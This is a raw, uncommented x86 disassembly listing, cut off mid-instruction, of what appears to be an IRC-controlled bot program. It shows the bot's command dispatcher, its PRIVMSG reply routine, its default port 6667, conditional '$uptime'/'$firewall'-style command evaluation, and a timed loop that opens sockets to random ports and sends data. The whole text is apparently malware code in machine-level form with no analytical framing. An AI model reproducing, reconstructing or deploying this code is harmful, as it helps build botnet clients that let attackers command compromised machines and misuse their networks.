loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call dword_417238 ; htons mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call dword_41720C ; send push [ebp+var_63B8] call dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC34 push 3B6h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset dword_418B5C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE30 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE30 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE30 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE30 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE30 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE30 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EEC8 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F048 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B6h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree_0 ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B6h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree_0 ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx pop ecx push [ebp+var_8] push offset aExecutingComma ; "Executing command(s): %s" push 0 push [ebp+var_4] push offset sub_40C93C call sub_4095A4 add esp, 14h locret_40CF23: ; CODE XREF: sub_40CEB0+17j ; sub_40CEB0+2Dj leave retn sub_40CEB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF25 proc near ; CODE XREF: sub_4020C2+B3p ; sub_40D871+59Bp ... push ebp mov ebp, esp mov eax, dword_41E9A4 pop ebp retn sub_40CF25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF2F proc near ; CODE XREF: sub_40D366+Dp ; sub_40D366+8Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 jz short loc_40CF9E push [ebp+arg_0] push offset dword_41E898 call sub_416B3A ; _mbscpy pop ecx pop ecx cmp [ebp+arg_4], 0 jz short loc_40CF60 push [ebp+arg_4] push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF71 ; --------------------------------------------------------------------------- loc_40CF60: ; CODE XREF: sub_40CF2F+1Ej push offset a6667 ; "6667" push offset dword_41E998 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF71: ; CODE XREF: sub_40CF2F+2Fj cmp [ebp+arg_8], 0 jz short loc_40CF88 push [ebp+arg_8] push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_40CF99 ; --------------------------------------------------------------------------- loc_40CF88: ; CODE XREF: sub_40CF2F+46j push offset byte_41DE30 push offset byte_41E718 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_40CF99: ; CODE XREF: sub_40CF2F+57j jmp loc_40D020 ; --------------------------------------------------------------------------- loc_40CF9E: ; CODE XREF: sub_40CF2F+9j and [ebp+var_4], 0 jmp short loc_40CFAB ; --------------------------------------------------------------------------- loc_40CFA4: ; CODE XREF: sub_40CF2F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CFAB: ; CODE XREF: sub_40CF2F+73j mov eax, 